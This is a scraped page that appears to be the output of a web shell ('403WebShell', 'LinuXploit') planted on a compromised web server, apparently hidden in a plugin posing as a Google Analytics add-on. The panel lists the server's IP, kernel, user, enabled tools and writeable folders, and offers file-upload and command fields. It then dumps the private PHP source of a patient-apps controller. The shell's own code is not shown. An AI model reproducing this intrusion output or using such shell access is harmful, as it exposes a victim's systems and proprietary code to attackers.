Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/modules/patientapps/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/modules/patientapps/controller/patientapps.php
<?php
	
class patientapps_patientapps extends Controller {

	public function __construct() {
		parent::__construct(dirname(__DIR__));
		$this->model_patientapps = $this->LoadModel('patientapps_model');
	}

	public function __Register() {
		$this->RegisterView(__CLASS__ .'::index', ['patientapps_view' => ['render_nagivation']]);
		$this->RegisterView(__CLASS__ .'::build', ['patientapps_view' => ['render_index']]);
		$this->RegisterView(__CLASS__ .'::branch', ['patientapps_view' => ['render_branch']]);
		$this->RegisterView(__CLASS__ .'::images', ['patientapps_view' => ['render_image']]);
		$this->RegisterView(__CLASS__ .'::unreferenced', ['patientapps_view' => ['render_orphan']]);
		$this->RegisterView(__CLASS__ .'::findfile', ['patientapps_view' => ['render_findfile']]);
		$this->RegisterView(__CLASS__ .'::similar', ['patientapps_view' => ['render_similar']]);
	}

	/** 3 */
	public function index() {
		$res = $this->DefaultResult(__METHOD__);
        $res['template'] = 'patientapp_nav';
        $res['menu'] = $this->model_patientapps->getNavigation();
		return $res;
	}

	/** 3 */
	public function build() {
		$res = $this->DefaultResult(__METHOD__);
		$res['template'] = 'patientapp_index';
		$res['branches'] = $this->model_patientapps->GetAllBranches();
		return $res;
	}
	
	/** 3 */
	public function branch($branchname) {
		$res = $this->DefaultResult(__METHOD__);
		$branchname = str_replace(['&', '<', '>', '|', ';', '\\', '/', '..'], '', $branchname);
		$res['template'] = 'patientapp_branch';
		$res['page_title'] = 'PatientApps Branch: ' . $branchname;
		$this->model_patientapps->GitStatus($res, 0, $branchname);		// downloads current version into `hashes`
		$product_code = $this->model_patientapps->BranchToProcedureCode($branchname);
		if (!empty($res['fullhash'])) {
			$latest = $res['fullhash'];
			// this will clone the repo into the requested hash
			$this->model_patientapps->ValidateHashSource($latest, strtolower($product_code));
			$audioout = $this->loadModel('pai_audio');
			$res['filelist'] = $audioout->GetFilelist($product_code, $latest);
			$this->_getProductTitle($res, $latest);
		}
		// Which app does this belong to?  Can be loaded by any, but only listed in one.
		// do we want to change this so it can be listed in more than one app?
		$this->model_patientapps->BranchSettings_get($res, $product_code);
		$res['branch'] = $branchname;
		return $res;
	}
	
	// save Procedure Configuration
	/** 3 */
	public function branch_POST($branchname = '') {
		$branch = $this->post('branch', $branchname);
		if ($branch != '') {
			$collection = $this->post('collection', []);
			$ignore_audio = $this->post('ignore_audio', 0);
			$tracking = $this->post('tracking', 0);
			$include_physicians = $this->post('physicians', 0);
            $param = [
                'ignore_audio' => $ignore_audio,
                'tracking'     => $tracking,
				'physicians'   => $include_physicians,
            ];
			$product_code = $this->model_patientapps->BranchToProcedureCode($branch);
			$res = $this->model_patientapps->BranchSettings_update($product_code, $collection, $param);
		} else {
			$res = ['error' => 'no branch specified'];
		}
		$this->Redirect('/patientapps/branch/' . $branch);
		header('Content-type: text/plain');
		echo json_encode($res);
		exit;
	}

    private function _init() {
		require_once realpath(__DIR__ . '/../model/document/Element.php');
		require_once realpath(__DIR__ . '/../model/document/Block.php');
		require_once realpath(__DIR__ . '/../model/document/Link.php');
		require_once realpath(__DIR__ . '/../model/document/Image.php');
    }

	/** 3 */
	public function images($fullhash, $imagename = '') {
        $this->_init();
		$fullhash = strtolower(preg_replace('~[^0-9a-f]~i', '', $fullhash));
		$imageout = $this->loadModel('pai_output');			// image output

		$output = $this->_loadIonicSite($fullhash, NULL);
		$document = new Document();
		$document	->SourceFolder('hashes/'. $fullhash . '/src')
					->LoadFromIonic($output);
		$imageout	->Document($document)
					->Aryan($output)
					->SourceFolder('hashes/'. $fullhash . '/src');

		if ($imagename != '') {
//			require_once realpath(__DIR__ . '/../model/document/Banner.php');
//			require_once realpath(__DIR__ . '/../model/document/Illustration.php');
//			require_once realpath(__DIR__ . '/../model/document/Playback.php');
//			$session = $_SESSION['img' . $fullhash];
//			session_write_close();
//			$imageout->SourceFolder('hashes/'. $fullhash . '/src/assets/imgs')
//					->Unserialize($session);

			$wd = $this->param('wd', FALSE);
			$imagename = rawurldecode($imagename);
			$imagename = basename($imagename);
			list($header, $data) = $imageout->GenerateThumbnail($imagename, $wd);
			header('Content-type: ' . $header);
			echo $data;
			exit;
		}
		$res = $this->DefaultResult(__METHOD__);
		$res['thumb_b'] = $imageout->AsHandlebarsData(TRUE);		// Banners
		$res['thumb_i'] = $imageout->AsHandlebarsData(FALSE);		// Illustrations, Audio thumbnail
		$res['fullhash'] = $fullhash;
		$res['template'] = 'patientapp_image';
		$res['page_title'] = 'Images - ' . $output['title']['short'];
		return $res;
	}

	// orphaned images - included in git, but not used
	/** 3 */
	public function unreferenced($fullhash) {
        $this->_init();
		$fullhash = strtolower(preg_replace('~[^0-9a-f]~i', '', $fullhash));
		$imageout = $this->loadModel('pai_output');			// image output
		$output = $this->_loadIonicSite($fullhash, NULL);
		$document = new Document();
		$document	->SourceFolder('hashes/'. $fullhash . '/src')
					->LoadFromIonic($output);
		$imageout	->Document($document)
					->Aryan($output)
					->SourceFolder('hashes/'. $fullhash . '/src');

		$unused = $imageout->getOphanImages($output['assets']);
		$result = [];
		foreach($unused as $filename) {
			$result[] = ['filename' => $filename];
		}
		$res = $this->DefaultResult(__METHOD__);
		$res['fullhash'] = $fullhash;
		$res['template'] = 'patientapp_orphan';
		$res['asset'] = $result;
		$res['missing'] = Image::Missing();
		$res['page_title'] = 'Images - ' . $output['title']['short'];
		return $res;
	}

	private function _getProductTitle(&$res, $fullhash) {
		try {
			require_once realpath(__DIR__ . '/../model/pai_tokenizer.php');
			require_once realpath(__DIR__ . '/../model/pai_process.php');
			require_once realpath(__DIR__ . '/../model/document/Document.php');
			$process = new pai_process;
			$process->SourceFolder('hashes/'. $fullhash . '/src')
                    ->Process_DetermineVersion()
					->Process_Title()
					->Process_ManifestJson()
					->Process_Client()
					->Process_DetermineProduct()
                    ->Process_PageIdentifier()
					->Process_MessageToPhysician();
			$output = $process->output();
			$res['title'] = $output['title']['title'];
			$res['title_short'] = $output['title']['short'];
			$res['product'] = $output['title']['product'];
		} catch (Throwable $e) {			// php 7
			die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [1]');
		}
	}
	
	private function _loadIonicSite($fullhash, $commitdate = NULL) {
		try {
			require_once realpath(__DIR__ . '/../model/pai_tokenizer.php');
			require_once realpath(__DIR__ . '/../model/pai_process.php');
			require_once realpath(__DIR__ . '/../model/document/Document.php');

			$process = new pai_process;
			$process->SourceFolder('hashes/'. $fullhash . '/src')
                    ->Process_DetermineVersion()
					->Process_Title()
					->Process_ManifestJson()
					->Process_Client()
					->Process_DetermineProduct()
                    ->Process_PageIdentifier()          // this detects Version 1.1
					->Process_MessageToPhysician()
					->Process_MessageToPatients()
					->Process_Audio()
					->Process_WhatToDoIf()
					->Process_Solutions()
					->Process_HTTPPROVIDER()
					->Process_PreProcedure() 
					->Process_TableOfContents()
					->Process_SplashImages()
					->Process_InsuranceMessage()
					->Process_Advice()					// pai-child
					->Process_SurgicalProcedure()		// pai-drf
                    ->Process_ExtraPages()
					;
			$output = $process->output();
			if ($commitdate !== NULL) {
				$output['version'] = $commitdate;
			}
			$output['assets'] = $process->getAssetList();
		} catch (Throwable $e) {			// php 7
			die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [1]');
		}
		return $output;
	}
	
	private function _generate($fullhash, $branch) {
		$branch = str_replace(['&', '<', '>', '|', ';', '\\', '/', '..'], '', $branch);
		$procedure_code = $this->model_patientapps->BranchToProcedureCode($branch);
		$fullhash = strtolower(preg_replace('~[^0-9a-f]~i', '', $fullhash));
		
		// is the audio to be ignored?
		
		$commit_date = $this->model_patientapps->GetCommitDate($fullhash);		// this becomes the version
		$output = $this->_loadIonicSite($fullhash, $commit_date);
		$settings = [];
		$this->model_patientapps->BranchSettings_get($settings, $output['title']['product']);

		$document = new Document();
        
        if (strpos($output['title']['product'], 'unknown') !== FALSE) {
            $document->exitWithError('Unable to determine Product - please set this in /README.md');
        }

		$document	->SourceFolder('hashes/'. $fullhash . '/src')
					->IgnoreAudio($settings['ignore_audio'])
					->Tracking($settings['tracking'])
					->MessageToPhysicians($settings['physicians'])
					->LoadFromIonic($output);
		
		$audioout = $this->loadModel('pai_audio');
		$imageout = $this->loadModel('pai_output');			// image output
		$imageout->x_audio = $audioout;
		$language_code = 'en';								// v2 build process currently only for 'english'

		$content = $imageout->Document($document)
					->Aryan($output)                    // the ionic import, not the output document
					->SourceFolder('hashes/'. $fullhash . '/src')
					->GenerateJson($language_code);
					
		$procedure_code = $imageout->Product();
		$generation = $this->loadModel('target_model');		// file generation
		$targetfolder = HOME . '/storage/patientapps/audio';
		
		$generation->TargetDirectory($targetfolder)
					->ProcedureCode($procedure_code)
					->Language($language_code)
					->ContentJson($content)						// once proccode, langcode and json are specified, the database is updated
					->GenerateFiles();

		return [$branch, $targetfolder . '/' . $procedure_code];
	}
	
	/** 3 */
	public function generate($fullhash, $branch) {
		list($branch, $basefilename) = $this->_generate($fullhash, $branch);
        $this->redirect('/patientapps/branch/' . $branch);
	}
	
    // copy files (.sql3, .json) from here (aries) to patientapps.net (condor) - does not currently copy audio
	/** 3 */
	public function publish($fullhash, $branch) {
		list($branch, $basefilename) = $this->_generate($fullhash, $branch);
		$this->model_patientapps->Publish($basefilename);
		// to do: remove cache file
		$this->redirect('/patientapps/branch/' . $branch);
	}
	
	/** 3 */
	public function product_json($fullhash) {
		$fullhash = strtolower(preg_replace('~[^0-9a-f]~i', '', $fullhash));
		$res = $this->DefaultResult(__METHOD__);
		$commit_date = $this->model_patientapps->GetCommitDate($fullhash);		// this becomes the version

		$output = $this->_loadIonicSite($fullhash, $commit_date);
		$settings = [];
		$this->model_patientapps->BranchSettings_get($settings, $output['title']['product']);
		$document = new Document();
		$document	->SourceFolder('hashes/'. $fullhash . '/src')
					->IgnoreAudio($settings['ignore_audio'])
					->Tracking($settings['tracking'])
					->LoadFromIonic($output);

		$imageout = $this->loadModel('pai_output');			// image output
		$json = $imageout->Document($document)
					->Aryan($output)
					->SourceFolder('hashes/'. $fullhash . '/src')
					->assembleJS(FALSE);
		$res['body'] = $imageout->PrettyPrintJson($json);
		return $res;
	}

	// incomplete; not used:
	/** 3 */
	public function product_toc($filename) {		// table of contents - list of items in the json structure
		$imageout = $this->loadModel('pai_output');			// image output
		$imageout->TableOfContents($res, $filename);
		return $res;
	}

	/** 3 */
	public function ionic_import($fullhash) {
		$fullhash = strtolower(preg_replace('~[^0-9a-f]~i', '', $fullhash));
		$res = $this->DefaultResult(__METHOD__);
		$output = $this->_loadIonicSite($fullhash, NULL);
		$imageout = $this->loadModel('pai_output');			// image output
		$res['body'] = $imageout->PrettyPrintJson($output);
		return $res;
	}
	
	/** 3 */
	public function override($fullhash) {
		$output = $this->_loadIonicSite($fullhash, NULL);
		$document = new Document();
		$document	->SourceFolder('hashes/'. $fullhash . '/src')
					->LoadFromIonic($output);

		$imageout = $this->loadModel('pai_output');			// image output
		$imageout->Document($document)
					->Aryan($output)
					->SourceFolder('hashes/'. $fullhash . '/src');

		$output = [];
		foreach($_FILES as $key => $data) {
			foreach($data['name'] as $name => $originalname) {
				$temp_name = $data['tmp_name'][$name];
				$info = $imageout->ReplaceImage($name, $temp_name);
				$output[] = [
					'name' => $name,
					'caption' => $name . ', ' . $info['mime'] . '<br>'.
								 $info[0] . ' × ' .  $info[1] . $info['res'] . ', ' . $info['filesize'],
				];
			}
		}
		// this is used to redraw the page
		$output = [
			'images' => $output,
		];
		header('Content-type: application/json');
		die(str_replace('\\/', '/', json_encode($output)));
		exit;
	}

	/** 3 */
	public function findfile() {
		$res = $this->DefaultResult(__METHOD__);
		if ($this->__INPUT->isPost()) {
			$filename = ltrim(trim($this->post('filename')), '/');
			$res['filename'] = $filename;
//			$output = $this->model_patientapps->FindFile($filename);
			$output = $this->model_patientapps->SpecificFile($filename);
			$res['output'] = $output ;// show filename, date, size, branch & commit	
		}
		$res['template'] = 'patientapp_findfile';
		return $res;
	}

/*
	// show visually similar images
	/** 3 * /
	public function similar($hash) {
		$res = $this->DefaultResult(__METHOD__);
		$res['template'] = 'patientapp_similar';
		$res['similar'] = $this->model_patientapps->getSimilarImages($hash);
		return $res;
	}
*/

}

Youez - 2016 - github.com/yon3zu
LinuXploit